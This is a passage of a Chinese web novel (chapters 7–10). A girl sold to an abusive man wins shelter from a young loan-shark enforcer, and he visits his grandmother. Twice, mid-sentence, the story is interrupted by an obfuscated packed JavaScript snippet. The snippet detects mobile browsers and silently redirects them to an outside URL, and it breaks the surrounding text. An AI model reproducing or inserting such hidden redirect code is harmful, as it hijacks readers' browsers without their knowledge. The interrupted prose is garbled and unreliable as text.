躺椅上的李空山睁开眼睛坐了起来,盯着连翘,若有所思,“我还就纳闷了,田永贵那儿有那么可怕,你就这么不想回去?是,我知道他这人平日里肯定没少对你动手,但是你要是忍受不了,早就反抗想办法逃走了,咋就偏偏等到现在?偏偏想跟着我李空山,啊?” 他非常笃定自己的想法和猜测,“别以为我不知道你安的什么坏心思,肯定想哪天趁我不注意骗走我的家当。” “我不是这种人。”连翘蹲在他身前,格外笃定,“我只是想找到一个安全的地方好好读书,开学以后我就高三了,李空山,等到读完高中,我就再也不会麻烦你,不仅如此,我还会努力挣钱,把欠你的全还给你,加倍偿还,你就好心收留我一年,不行吗?” 李空山想了想,两手随意放在膝盖上垂下去,身子往前倾,目光直视她的眼睛,“那你就这么肯定,你能加倍还我?田永贵那儿六十万,你借宿我家又是一笔钱,你还得起?” “还不起也要竭尽所能去还,用我的生命去还。” 女孩的眼神越发笃定,仿佛世界上再也没有什么东西能撼动她此刻内心的这一份信仰。“李空山,你相信我,我一定可以的。” 女孩的目光落在他的眼眸里,滚烫烫的,仿佛在一步步灼烧他的心。 李空山意识到这一点,连忙挪开目光,整个人往后仰,继续百无聊赖地闭着眼睛说:“这都哪儿跟哪儿,我跟你才认识几天,凭什么要相信你。” “我……” 一时间,连翘也不知道该如何说服李空山,李空山说得没错,要让他平白无故收留一个刚认识不久的人,的确荒谬且艰难。 “我也不骗你,过几天呢我就要走了,离开清流镇。” 他两手枕在后脑勺,悠哉悠哉地在躺椅上晃动,“所以你想要找个靠山,就找别人去,我反正是指望不成的。” 他继续说:“这屋子里的一切都是我的,你不准乱碰,哦对了,当然不包括你,你不是我的,我也一点儿都不想要,因为你这种人啊放大街上我都不稀罕看一眼。” 李空山坐了起来,催他出去见一面的电话一直在响,不用看他都知道是楼巩打来的。 他站起来,匆匆忙忙要出门。 “我有事得出去一趟,你自己看着办吧,反正今晚回来的时候我不希望再看到你,识相点就赶紧走,别让我到时候赶你出去,到时候弄得大家都尴尬。” 甩下这句话,李空山就毫不眷恋地下楼离开。 连翘一人空落落地站在屋子中央,整个人落寞不少,难道刚燃起来的希望真的又要熄灭了吗? 日暮时分,院子里嬉戏的孩童追着满院跑的鸡咯咯笑不停,大黑狗在树下摇尾巴,两只眼睛黑漆漆的,单纯无辜地望着连翘默默离开。 这会儿邻居都在屋子里张罗晚饭,白天看热闹的妇人已不见踪迹,连翘记得李空山说的话,为了不给他再添麻烦,她选择这个没人的时候离开。 踏出院子门槛前,她又回头看了一眼李空山家的窗户,她想,自己应该再也不会有机会来这里了。 这夜雨下得很大,李空山把挡雨的木板放到一边,走进小饭店,而楼巩带着一帮兄弟已等候多时。 “哥,你总算来了!” 单脚踩在长凳上,楼巩得知李空山要走,心情一直很郁闷,就连往嘴里扔花生米也变得无精打采,见到李空山来,他连忙起身迎接。 包括同样在等候李空山的其余人。 李空山在方形木桌边坐下,看着对面的楼巩和站在两边的弟兄,“怎么把大家都叫出来了,这还下着雨呢,等会他们回去多不方便。” 楼巩仿佛憋了一肚子的话要说,匆匆忙忙开口,目光急切,“哥,大家听说你要走,都想出来见见你,我拦也拦不住啊。这事是真的吗?干得好好的,为什么要走啊?” 李空山那帮子弟兄个个垂头丧气,其中一人忍了许久,开口说道:“就是,空山哥,我们不希望你走,你留下来吧。大家伙就服你,也只听你的,你要是走了,我们也不干了!” “干什么,别冲动。” 李空山给空杯子里倒酒,“我难道想走吗,我也不想走啊,但是家里逼的,没办法,我李空山总不能干出气我奶奶这种大逆不道的事吧。” “可是……” 男生欲言又止,心中情绪复杂。 楼巩出手拦住他,自己接着往下说,他看着李空山,“真决定了?” 李空山点头,目光里同样有着淡淡不舍,“真决定了。” “什么时候?” “明天。” “明天!” 楼巩不淡定了,激动得站起来,“明天也太快了吧!哥,要不是咱们一致要求你出来见个面,你是不是还想招呼都不打一声就走啊,咱们这些弟兄在你眼里就这么随随便便可以抛弃吗?” “当然不是。” 李空山神情为难,很多想说的话被他咽了回去,他盯着桌面不知在想什么,声音很寡淡。 再也没了白天里嚣张狂傲的那副模样。 “我也没办法,奶奶身体不好,一天不如一天,我这个做孙子的只想随了她的愿,让她能安心、放心,顺顺畅畅地过完这几年。” “我懂了。”楼巩低下头,叹了一口气,他明白李空山的奶奶对于李空山多么重要。 李空山是一个从小就没爸没妈的孩子,如果没有奶奶,李空山就不可能活到现在。 老人家一个人把他拉扯大本就不容易,所以现在的李空山只想竭尽全力对奶奶好,能多一点点,就多一点点。 “那你走了,一直往你屋那边跑的女孩呢,你打算怎么办?” 李空山顿了下,身子往椅背靠,懒懒散散,漫不经心,“还能怎么办,我跟她八竿子都打不着联系,她爱怎样怎样咯。” 楼巩想了想,左手撑在桌面上,凑近些对李空山说:“哥,我打听过了,这女孩的确是田永贵买回去的,我还听说这女孩特聪明,在学校年年考第一那种,以后啊说不定真的能去大城市,有大发展。” “那又怎么样?”李空山毫不在乎,“她——跟你还有我,根本就不是一路人,我们能过好自己的生活就不错了,去管别人干嘛,还嫌自己生活不够乱?” “没有没有。” 见李空山并不在意,楼巩惭愧地摸了下后脑勺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165865|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心虚地看着对面的人儿,“哥,只是吧……我还是觉得她挺可怜,在田永贵那儿没过什么安分日子,现在出了这档子事,没钱继续上学,书读不了,以后的出路也得彻底断掉了。” 李空山把左手放在桌面上,迟疑地打量楼巩,“我说你什么时候开始可怜起别人了?读书有什么好,读书还不如我们这些收高利贷的日子潇洒快活——这些话,不都是你以前亲口说的?” 楼巩更加惭愧,笑着收回身子重新坐直,“是是是,我以前是说过这些没错,但俗话说得好,人得就事论事嘛,对不对。” “对你个头。” 李空山给自己灌了一口酒,随即起身站好,“行了,差不多就这样,我回去了,你和兄弟们也早点回去,别玩得等会雨越下越大。” 楼巩叫住转身的李空山,在场的其余人出于本能往前一步想跟李空山一起走,又不得不止住脚步,不约而同喊一声“空山哥……” 小饭店的灯光不明不暗,恰好打在少年的脸上,他的目光比从前沉重不少,微微勾勒起的嘴角藏满无奈。 他用笑着的口气说:“干嘛,还想跟我一起走不成?就我那小破屋可装不下你们这么多人。好了,赶紧回去吧,不用送我。” 说完这番话的李空山便匆匆提脚离开,他怕自己再多犹豫一秒,就会出尔反尔不想离开。 他何尝不像他们一样舍不得?但人的一生注定要面临多场分别。 所有人注视着李空山离开,每个人心里都充斥着难过不舍的情绪。 “楼巩,就真的没有办法让空山哥留下吗?” 一个人急得逼问道。 “你刚刚没听见吗,我也想哥留下啊,可是我们难道能勉强他,辜负他奶奶的心愿吗?” 楼巩将头别了过去,心里发酸,声音变弱,“干咱们这行的,在家里人看来的确不是什么正经玩意儿,我都能理解她老人家的心情,你不理解?” 正处在悲伤难过的洪流中,男生不加思考冲动说:“我算是看明白了!楼巩,你丫的就是不想空山哥留下!你就是巴不得空山哥走!” “你tm瞎说什么!” 楼巩气得直接拍桌站了起来,火冒三丈的他瞪着眼前跟自己起冲突的兄弟,若不是其余人拉着,两个人早就打到一起。 他愤慨地用手指指着自己的脸,“来,你看看,好好看看,我这样子像是巴不得空山哥走?” 男生顿时无话可说。 因为楼巩的眼睛已经彻底红了。 — 雨下得越来越大,连翘在桥边的小路上徘徊,不知道自己该去哪儿,也不知道这个这么大的世界为什么没有一处容得下她的地方。 她甚至在想——当初她的爸爸妈妈不要她,是不是就想告诉她——她不配活在这个世上。 原来世界无论多大,找到一个可以回的地方,始终很难很难。 河边这条小路可以抵达田永贵家,但如果沿着阶梯往上走,穿越街区,也可以达到李空山住的院子。 只是连翘明白,无论哪个地方,她都不能去,也去不了。 如果不是李空山的人天天看着田永贵,连翘不会有这样的机会逃出来。以前她也尝试过偷偷逃出去,但每一次都被田永贵半路拦下,然后带回去暴打,说是要给她长记性。 而李空山呢? 她想,算是她赌错了吧。 他是要走的人,她是他的陌生人,她没有任何理由、没有有任何办法将他留下。 8. 第 8 章 来势汹汹的雨水倾盆而下,在屋檐下形成一道时断时续的瀑布。 李空山心里郁闷得慌,索性不打伞了,直接大步走在雨中。 雨水打湿他的睫毛,浸湿他的衣裳,他的步履沉重,亦如他的目光复杂。 他没想到不经意的一瞥会撞见桥下小路上的连翘。 李空山顿了顿,停下脚步,目不转睛地盯着漆黑小路上那一道孤单的身影。 她想做什么?想寻死吗? 楼巩说的话回想在她耳边——可怜。她是一个可怜的人。 可是可怜又如何呢? 一路摸爬滚打长大的李空山只明白一个道理:不要去可怜任何人,因为没有人会可怜你。 他对遇见的所有人包括连翘都是如此。在他看来,只有自己足够心狠无情,才不会有人或物能触及到心底的那一片柔软,不会让自己产生软肋,自己也不会因此变得脆弱。 李空山一直在努力让自己成为这样无情的人,他也几乎做到了。 只是……现在眼前的境况有些不同。 要是换成其他地方其他时候,李空山依旧会看也不看一眼,直接甩脸走人,不管不顾。 问题是…… 他看着越走越接近岸边栏杆的连翘,整个人愣住,“她想干嘛,不会真是想跳河吧?” 大雨倾盆而下,冰冷的雨水顺着少年的脸颊蜿蜒流下,衬出他棱角分明的轮廓,即使滂沱大雨也没有压弯他的身躯一丝一毫。 李空山扭头看了眼四周,这儿一个人都没有,但是有监控啊,要是监控拍到他见死不救,警察叔叔岂不是又要请他去“喝茶”? 他无语又无奈,闭眼摸了下额头,长叹息道:“行,遇见你算我倒霉。” 随着连翘的手放在河边小路半米高的栏杆上,李空山变得慌乱,一边指着连翘大喊:“喂你干什么!别做傻事啊!” 一边以最快的速度跑下斜坡楼梯朝她冲过去。 三、二、一…… 拼命赶过来的李空山一把将连翘往后拉。 连绵不断的雨水快要迷离两人的双眼,李空山摸一把脸,甩开脸上的水,“我说你是不是傻,就是没地去没书读了而已,至于吗?连命都不要了!” “李空山?” 连翘愣愣地看着眼前的少年,意外之喜涌上她的心头。 她往身后的河流看了一眼,好似大概明白了李空山这么着急的原因是什么。 ——他以为她要跳河。 连翘眨了眨眼,在那短短的几秒钟内,无数回答从她的脑海中一闪而过,但她知道眼下最好、最聪明的回答是什么。 女孩目光中的错愕渐渐消散,低下头,声音微弱,样子愣愣的,傻傻的,好似所有的希望和生气一瞬间从她的身体里离开,四窜而逃。 “李空山,你拦着我干什么,像我这种无处可去的人还有活着的必要吗?” 少年看她的目光复杂而默然。 他缓缓松开拽住女孩胳膊的手,却时刻观察着她的一举一动。 “当初你死皮赖脸在我家楼下装可怜的时候怎么没看你这么灰心绝望?虽然我李空山是看不上你这种的,但是世界之大啊,萝卜青菜各有所爱是不是?你别这么快就打消掉找一个新靠山的念头啊,我不愿意,总有其他人愿意。” 连翘故意表现得很失落,抬起头,目光同他对视,“可是我只想跟着你。” “……” 李空山眨了眨眼,不知道是自己听错了还是怎样。 她……只想跟他? 开什么玩笑? 不过下一秒,他的嘴角情不自上扬,怎么都按耐不住,心里那个得意的小人跑了出来。 他往女孩身后瞄了眼,假装漫不经心,心里却早已得意忘形。 “哦……看来我的确这么受欢迎,这么惹人爱啊。早知道平日里就低调点,收敛些我的魅力。” 始终平静的连翘反手拽住李空山的胳膊,“可以吗?你能让我跟着你吗?我吃的不多,还能干活,很好养活的。况且你刚刚还冲过来救我——李空山,在外表之下,其实你也是个心软的人,对不对?” “干嘛呢干嘛呢,一码归一码啊。” 李空山收回手往后退,与连翘保持距离,他不否认以前他说过许多贬低她身份的话,也不否认刚刚是他自己冲过来拦住她跳河,但他也得就事论事。 “再怎么说你也是一条命好不好,见死不救不是我李空山的风格?我还害怕警察叔叔把我带去他所里坐坐呢。” 意识到连翘的情绪还算稳定,李空山撒手转身。 “你要真没地去,我可以非常非常勉强地收留你几天,等你找到去处了,就马上走。” 以为自己又要落空,连翘忽然间不敢相信自己听到了什么。 她欣喜地抬头,惊喜又愉悦地追上转身往前走的少年。 脚下的鞋被打湿,异常沉重,但她的心却轻松不少。 哪怕雨下得很大,浸湿她的衣裳和身躯,但这一夜,她不觉得一点儿冷。 “真的?李空山,那要是我一直找不到去处,你可以一直收留我吗?” “……” 李空山万万没想到她能如此变本加厉。“哎,你还真就蹬鼻子上脸,没完没了了是吧?想得美。你以为你是谁啊?我还一直收留你。给你一天的时间就不错了,休想赖在我那儿。” — 李空山递给连翘一张干净崭新的毛巾,“赶紧擦擦,有热水,自己去洗个热水澡,别到时着凉了又怨我。” “谢谢。” 连翘从李空山手里接过毛巾往卫生间走去。 走到门口时,她想起自己身上的衣服已被打湿,没有干衣服可以换,随即停下,转身看着身后的李空山,“李空山……有可以换的衣服吗?我没别的衣服可以换……” 此刻,正脱下上衣拧水的李空山手中动作忽地顿住,他只觉连翘的目光火辣辣的,第一次被人这样直视,他倒还有些不好意思。 连翘也意识到自己好像转身的时机有些不太对,连忙转过身去,“抱歉啊,我不知道你……” 他打开衣柜,从里面拿出干净的白T恤和灰色运动短裤,从她身后递过去,“拿着,别墨迹,我还等着洗呢。” “好。” 连翘匆匆进入卫生间关好门,背靠着墙平复慌乱的心情。 李空山找了干净的衣服穿好,灯光打在他长长的睫毛上,站在堂屋里的他沉默许久,还是情不自禁问起想了很久的问题。 “我手下的人说你是03年的秋天被卖到这里,然后被田永贵买回去的,是吗?” 连翘并没有去怀疑李空山为什么突然问这个问题,只是抱着认真的态度回忆了下,“差不多是这个时间,怎么了吗?” “没什么。” 李空山去重新摆放桌子上的盒子,假装漫不经心,“当时和你一起被卖到这里的,不止你一个,还有其他的人?” “对,当时我们这一批人都被车子拉到了这里,有的人被买走了,有的人被拉到下一个地方。” 即便李空山努力在掩饰,但他心底的慌张还是悄悄从他眼底偷跑了出来,他连忙问道:“那你记不记得和你一起到这里的有哪些人,后来去了哪儿?” 卫生间里的连翘忽然顿住,直到此刻,她 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连翘疑惑地看着他在屋子里走来走去,问:“李空山,你之前说你要离开清流镇,是为了干什么去?你要走多久?” “关你什么事,小孩子不该问的就别问。”他走到门口,“我出去拿个东西,你在这儿坐着等一会儿。” 连翘点头,暗自想——她才不是什么小孩子,她已经十七岁了,如果她是小孩子,那十八岁的李空山不也一样是小孩子? * 没过多久,李空山就从外面回来了,他还和刚出去时没什么两样,灰黑色卫衣和宽松阔腿裤,两条腿笔直而修长。 不过唯一不同的是——他手里还端着一盘饺子。 李空山随手把饺子放在餐坐上,从厨房里拿来两双筷子,一双给连翘,一双留给自己,“赶紧吃,不然我一会儿吃完了可没你的份。” 未等连翘坐下来,李空山就率先夹起一个饺子往嘴里塞,他漫不经心看向一旁站着不为所动的连翘,虽然这里本是自己家他一点儿也不客气讲究,但被连翘一直注视着,他总觉得浑身不自在。 “你看着我干什么,我都让你自己过来吃了,你还嫌我亏待你啊?” 连翘摇头,缓缓走到李空山对面。 她的目光中透露着真挚和诚恳,询问餐桌对面的李空山,“我现在真的可以吃吗?” “不然呢?” 李空山吊儿郎当地看了眼桌上的饺子,心有所不爽,放下筷子,翘着二郎腿,“咋的,你不会以为我在里面放了毒吧?” 他连连“啧”了几声,“亏我好心好意收留你一晚,你还把我想成这种人。” “没有!”连翘立即否认,她赶紧夹起一个饺子塞进嘴里,这是她第一次有这样平等的机会坐上餐桌吃饭。 玉米猪肉饺子很好吃,甜甜的玉米和碎肉混合在一起,饺子皮薄而不腻,连翘看着李空山笑了,“这饺子真好吃。” 她小心翼翼地看着李空山解释,捏着筷子的手局促而不安,“放在以前,我是没有这种机会吃东西的。田永贵给我立过规矩,饭做好以后,只能他一个人先上桌吃,我不是他家的人,只能吃他吃剩下的剩菜剩饭。” 女孩倒没觉得自己多委屈,见李空山不像田永贵一般蛮横不讲理,她倒也开心地吃起下一个饺子。 她不知道自己刚才说出来的话分量有多重。 李空山怔住,一动不动地坐在椅子上沉默很久,他看着对面的女孩乐滋滋地吃饺子,“不是——田永贵这人这么歹毒?他还是人吗。” 9. 第 9 章 “是挺讨厌的,但还好,我也活到了现在。”连翘没把刚才说的话放在心上,只是乐滋滋地继续吃饺子,嘴角的笑似有若无。 一眨眼的功夫,一盘饺子只剩下最后两个,连翘刚伸出去的手后知后觉缩回来。 她愧疚又忐忑地看着对面的李空山,心虚开口:“……对不起,我太久没吃东西,饿坏了。” 李空山忍不住笑了下,早就把筷子放下的他用手把盘子推到连翘面前,“没事,你吃吧,我又不像你,我是吃了晚饭的,我可不饿。” “谢谢。”连翘欣喜地再次拿起筷子夹饺子,“李空山,所以你刚刚是特意为我去拿的饺子吗?这饺子真好吃,你对我真好。” “你对我真好”这几个字不声不响敲击着李空山的心,他坐在椅子上愣了半天才反应过来,对他说这句话的人其实只是太久没有被人关心过了。 他挪开目光,两手往后撑在椅背上,假装漫不经心,“那是,这可是我包的饺子,不好吃能行吗。” “你?”连翘想了想,问:“可是你刚刚是从外面拿的饺子哎。” 李空山正经起来,“嘿你这妹子,咋这么一根筋,我包的饺子就不能出现在别的地方咯?” 女孩吃完最后一个饺子,心满意足地放下筷子,腮帮子塞得鼓鼓的,笑着对眼前的少年说:“能,当然能。” 在她的记忆中,她已经好久没有像今天这样吃得如此满足。 在这里,连翘可以卸下所有的防备和不安,舒服而坦然地做自己——除了她得略施小计让李空山留下自己外。 连翘二话不说就径直站起,突如其来的认真劲儿把坐在椅子上的李空山吓一跳,他愣愣地仰头看着站起来的女孩:“……做什么?” 连翘一脸认真,端起盘子,“我去洗盘子,这是我的本分工作!” 她点点头,非常笃定地盯着李空山,“你还有别的需要洗洗吗,我都可以帮你洗。” 李空山察觉到不妙,借脚部力量坐在椅子上往后挪,斩钉截铁摇头,“没有,你少乱来,盘子给我,我自家的东西我会洗。” 还未回答李空山,连翘端起盘子跑进厨房,打开水龙头,拿起海绵布,开始洗盘子,不给李空山抢功的机会。 夜深了,窗外的灯光陆陆续续熄灭,李空山提醒坐在凳子上一脸认真的连翘,“你还要像这样坐到什么时候,不睡了啊?” “要的,但是得等到你睡下后才能睡。” “为什么?” 连翘诚恳回答他:“这是以前的规矩。” 李空山无奈又无语,“那不都是以前吗,这儿没什么规矩,你才多少岁啊,还在长身体,赶紧的,早点睡了。” 刚说完这句话,李空山又察觉到似乎有哪里不妥,他往下看了眼自己坐着的床铺,哦……这里只有这一张床。 他顿时站起来,有些不好意思地走到柜子边拿出毯子铺在地上,又找出一床被子扔给连翘,整个人充满底气:“我家就这条件,你自个儿打地铺睡吧。” 还不够。 李空山把被子扔给连翘以后,又从柜子里翻出一根长绳,沿着窗户的把手开始系,困在另外一头柜子的把手上,“看见没,这是咱俩的三八线,你晚上睡觉的时候老实点,别想着搞什么小动作,不能越过这条线。” 连翘点点头,突然想到什么,猛然抬头,好奇问道:“那要是越过了会怎么样?” 要是越过了?李空山这倒是还没想好。 他思索下,说:“要是越过了,就离开这屋子。” “哦……好。”连翘追问:“那你能越过这条线吗?” “喂,开什么玩笑,我睡觉老实得很,可不是那种随随便便的人。” 连翘点头,格外笃定,“我信。” —— 口口声声说不能越界的人是李空山,可是夜里唯一越界的人却是他自己。 半夜的时候,连翘做了噩梦,她全身发抖,也不知道梦到了什么,能把她吓成这样。 李空山被她的异样和声音吵醒,他坐起来瞄了女孩一眼,本来不想多管,可当他正想重新躺下去的时候,却听到女孩发出的微弱哭声。 李空山也不知道那一瞬间自己是着魔了还是怎样,他打开手电筒最低档,借着最微弱的光走过去看看她。 女孩的额头上冒出冷汗。 李空山犹犹豫豫,伸出手去用手背感知她额头的温度,“没发烧啊。” 他收回手,蹲在女孩身边,手电筒微弱的光照在地面,借着微暗的光,李空山看见女孩平静的面容下的忐忑与不安。 “有这么害怕吗……” 他无法得知女孩过去究竟经历了些什么。 李空山将掀开的杯子重新给连翘盖好,不经意间看见她胳膊上的淤青——被打后的淤青。东一块西一块,格外刺眼。 他微微愣住,动作轻轻地给她盖好被子。 不知道该怎么缓解梦里的她的害怕,李空山用只能自己听见的声音小声嘀咕:“喂,别害怕了,这不是有人在你旁边呢,还怕啥?想我李空山这几天也是挺威风的好吧,手底下的人不说多少,几十个总有的吧,只要你需要,哥也是可以罩你的……所以啊,别害怕啊。” 他叹息一声,默默地注视着女孩,不知什么时候起,她变平静了许多,紧皱的眉头也渐渐舒缓,呼吸渐渐变平畅。 李空山迟疑了下,微微眯着眼睛,盯着正前方的墙壁,心想该死,她不会是没睡着,装的吧? 那他刚刚说的话多丢脸啊。堂堂李空山居然跑去关心一个不太熟的小姑娘?说出去都丢人。 他为了试探连翘究竟有没有睡着,四周环顾了下,低下身子,凑到她脸庞,用手轻轻去戳她的脸蛋。 轻轻地……轻轻地…… 没反应。 那就好。李空山舒了口气,她睡着了,不知道他刚才说的话,这样他的威风还是一如既往。 李空山刚想起身偷偷溜回去,连翘一个翻身,脸蛋枕在李空山的手掌上。 手掌心传来女孩脸蛋柔软的触感,李空山微微怔住,一时间不知道自己该审问自己刚才的心跳是怎么回事,还是该想办法悄无声息钻回去。 他无措而惊诧地看着女孩香甜地枕着自己的手入睡,眉心舒展,好似所有的烦恼都早已被压在山脚下。 窗外月光朦胧,窗内手电筒灯光昏暗,李空山的影子倒映在墙角,覆盖女孩的身躯,窗外的清风路过,以为少年在伴她入睡。 —— 伴随着窗外清脆的鸟鸣声,连翘从睡梦中醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165867|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,她睁开眼睛环顾四周,看见屋子里没有李空山的身影,担忧地从床上坐起。 “找什么?找我啊?” 李空山恰好从门外进来,他端着一碗粥和一盘小笼包放到桌上,挽起袖子,“还是热的,你赶紧起来吃。” 连翘掀开被子站起来,目光停留在李空山的脸上,疑惑而好奇,“李空山,为什么你的眼睛下面黑黑的,你昨晚没睡好吗?” 开玩笑。 昨晚她一直拉着他的手当枕头,让他等到初见晨曦的时候才找着机会走,他能睡得好? 李空山扬起一抹虚假的笑容,强装镇定,“没事,我睡得好得很,你别多管闲事。” 连翘看着桌上的早点,“谢谢你啊。” 虽然她接近李空山是有目的的,可是这声谢谢却是她发自内心的肺腑之言,在田永贵那儿生活的这十多年,连翘没有遇到过一个愿意对自己好的人。 早上的时候,邱炀给李空山打来电话,说厂子里临时有点事情,要出门一趟,问李空山要不要延期几天再去他那儿。 李空山二话不说就答应,倒不是因为他有多不想走,只是他想留在这里多陪奶奶几天。 不过嘛——眼前这个障碍得想办法清除。 李空山坐下来,若有所思地盯着洗漱完后认真吃早餐的连翘,“你接下来什么打算?”他翘起二郎腿,右手撑在桌上,“丑话我可说在前头,我这里不允许你长期待!” “我知道。” 连翘无辜地把一个小肉包塞进嘴里,“我会尽早找一个去处的,只是在那儿之前还得拜托你多收留我几天,就几天,可以吗?” 她眼巴巴地望着李空山,眼里充斥着祈求,“拜托了。” 李空山盯了她几秒,心虚地挪开目光,假装坦坦荡荡,“随你随你。”他站起来,把备用钥匙放在桌上,“我有事要出去一趟,这是钥匙,你要想出门,自己走。” “好。”连翘默默地用勺子搅拌热乎乎的小米粥,不再追问李空山去哪儿,因为她知道李空山绝对不会回答她。 李空山走后,连翘默默地把碗和盘子拿进厨房洗好,她自然知道自己不能在李空山这里白吃白喝,于是她挽起袖子,打开厨房的柜子,准备“大干一场”。 “啊啊啊啊——蟑螂!” 尘封已久的柜子被打开,以为自己占据了地盘的小强尴尬地从橱柜里逃出来。小强可不傻,它知道自己不跑快一点儿,多半会被人类一脚踩死。 发出惊叫努力缓过神的连翘镇定下来,她松了一口气,一手叉腰,一手拿着锅铲,目光紧随跑出去的小强,小碎片追上去。 “咋的,你以为我怕你不成,嘿嘿,我刚才装的,姐姐我以前可收拾过不少你的同类,你今天也准备好受死吧!” 几个小时的功夫,屋子里的一切被连翘收拾得干干净净,而连翘也终于明白为什么每次李空山准备吃的都要去外面一趟——因为他家里的厨房除了洗洗碗筷,根本就没使用过。 她把所有的碗都拿出来彻彻底底清洗一遍,擦干净所有的柜子、家具、桌子。 傍晚,李空山回来的时候,还差点以为自己走错了地儿。 他难以相信,退出门,重新抬头看了眼门牌号,这才犹犹豫豫走进去,“这是我家?” 10. 第 10 章 收拾好屋子以后,连翘便坐在椅子上等李空山回来,可是已经晌午了也没见他人影,看这样子他应该晚上才会回来了。 连翘在屋子里东转转西转转,惊喜发现自己的书包也在这儿,她敢确认自己出门的时候没有带书包——那么只有一个可能,李空山让那个叫宇瑞的男生送来的。 还在思考自己还能为李空山做点什么,门外响起敲门声,一个面容慈爱的妇人站在门口,笑着看向连翘:“你就是空山那小子说的小姑娘吧。” 妇人招了招手,笑着说,“都中午了,来,到我那儿去吃饭吧。” 连翘警惕地盯着妇人:“我不认识你。” 意识到自己贸然的举动让连翘把自己当成了坏人,妇人笑了笑,打趣着解释,“哎哟,瞧我这急性子,还没跟你说我是谁呢。” 妇人越看越喜欢连翘,“昨天晚上空山才到我那儿煮了饺子呢,我姓林,你可以叫我林婶,空山说他要出去一整天,让我领你去我那儿吃午饭呢。” 听到李空山的名字,连翘这才缓缓放下对妇人的戒备,走到门口,“你说李空山,那你知道他出去了,那你知道他去哪里了吗?” “出去一整天,肯定是去看他的奶奶呀!” “李空山的奶奶?”连翘对着妇人扬起一抹笑,“婶婶,你能给我说说李空山的事情吗?” “当然好啊。”妇人乐呵不已,两个女性八卦的天分凑到一起,势不可挡。 * 李空山从水井里打了两桶水提回来放到厨房,脱下罩衣走到床边,躺在床上的老人坚持要下床活动活动,李空山拗不过,便搀扶着她下来,陪她在屋里走走。 “空山呐,听邱炀说,你要等几天才走啊?” “对。”如果离开这件事是从奶奶这里提起,李空山便难以割舍自己的情绪。他垂下目光,犹豫半天,不知道该怎么说。 自己带大的孙子,老太太比谁都清楚他心里在想什么。 她满是皱纹的手轻轻拍了拍李空山的手背,“空山呐,出去好啊,这是好事,你不要难过,更不要舍不得我这个半截身子已经入土的老太婆。出去打拼才是个像样的男人,磨磨唧唧情长情短的,那才不像样!” 她笑了笑,“空山,你是好孩子,听奶奶的,放心出去闯你的事业,不要割舍不下我,啊,放心,我好得很。” 李空山别过头,想要抑制自己翻涌的情绪,却发现这是一件很难的事情,他压低嗓音,让自己的声音听上去没有太多破绽。 “谁割舍不下你了,我放心得很,才不担心你。” “哎哟——”老太太听着话,表现得很高兴,凑到李空山眼前,“真的假的,那这可是好事啊。” 老太太用拐杖指着前面的木凳子,“诺,空山呐,扶我在那儿坐下吧。” “好。” 少年扶着老人小心翼翼坐下,待老太太坐好以后,他就蹲在她身前。李空山的个子很高,而奶奶的身躯却比记忆中缩小了不少。 他喜欢蹲下来和奶奶说话,仰望着她,就像小时候一样——奶奶在他眼里永远伟大。 他浅浅笑着,攥紧老人的手,“奶奶,我说真的,如果我走了,就没人来看你,没人来帮你打点家里的活儿,灯坏了没人来修,墙砖掉了没人来补,养了十多年的孙儿,你真舍得?” 老太太慈爱笑着,任由自己的手被李空山握紧,她知道这小子心里在想什么,知道他口是心非,其实心里很舍不得自己。 “瞧你说的那么夸张,你走了又不是不回来了。我老太太一把年纪,早就不重要了。重要的是你啊,空山——你是我们家的男儿,你要活得有出息,敢闯敢拼,留在清水镇跟着那帮子无赖混日子,不是什么好路。” 老太太仰起头望着坝子前空荡荡的黄土,“空山呐,跟着你邱炀哥好好干,奶奶等着你有出息的那一天,好不好?” 她笑得很开心,像个孩子,但目光里满是对李空山的慈爱,“奶奶不求你有多大的本事,只希望你过得平安健康,有没有出息其实也不重要,只是奶奶不想看你跟着一群混混生活,咱要靠自己的双手、靠真本事打拼对不对。” 老太太笑着抚摸李空山的额头,“等你出去以后啊,要照顾好自己的身体,多给奶奶打电话,别把奶奶给忘了。” “知道。”李空山别过头,垂下目光盯着路过的蚂蚁,不想被老太太看见自己泛红的眼睛。 * 林婶给连翘盛来一大碗饭,连翘连连摆手,“婶婶,我吃不了那么多。” 热情洋溢的林婶赶紧从厨房里端出热气腾腾的菜,“哎,吃得了吃得了,你看你还在长身体,这个年纪就是得多补补,看你多瘦啊。” 见林婶这么热情,连翘也不好再拒绝,她笑着对林婶道谢,“婶婶,你刚刚说李空山和他奶奶感情特别好,又说李空山也是一个命苦的人,这到底是怎么一回事啊?” 林婶把所有的菜上完以后,走到门口把门关上,坐在连翘对面。 “这小子肯定没跟你说过,他三岁的时候爸爸就死了,本来以为好歹有个妈把他托养大,结果倒好——” 林婶满脸无奈和遗憾,“还没满四岁呢,他妈妈就跟人跑了,把他一个人丢下。他奶奶啊心疼他,特地从一百多公里外的乡下赶过来,锅碗瓢盆,柜子床垫,所有家当啊,全带上了,从此一个人在这里把李空山抚养大。” “老太太啊,也挺不容易,没有年轻人打工赚钱养老,还要靠自己做点手脚活养大一个孩子,这些年啊,他们婆孙俩可是吃了不少苦。” “原来还有这种事。” 连翘的心思不在吃饭上,她继续追问:“那李空山的奶奶在哪儿?为什么不和他一起住?” “这还不是因为老太太固执得很。” 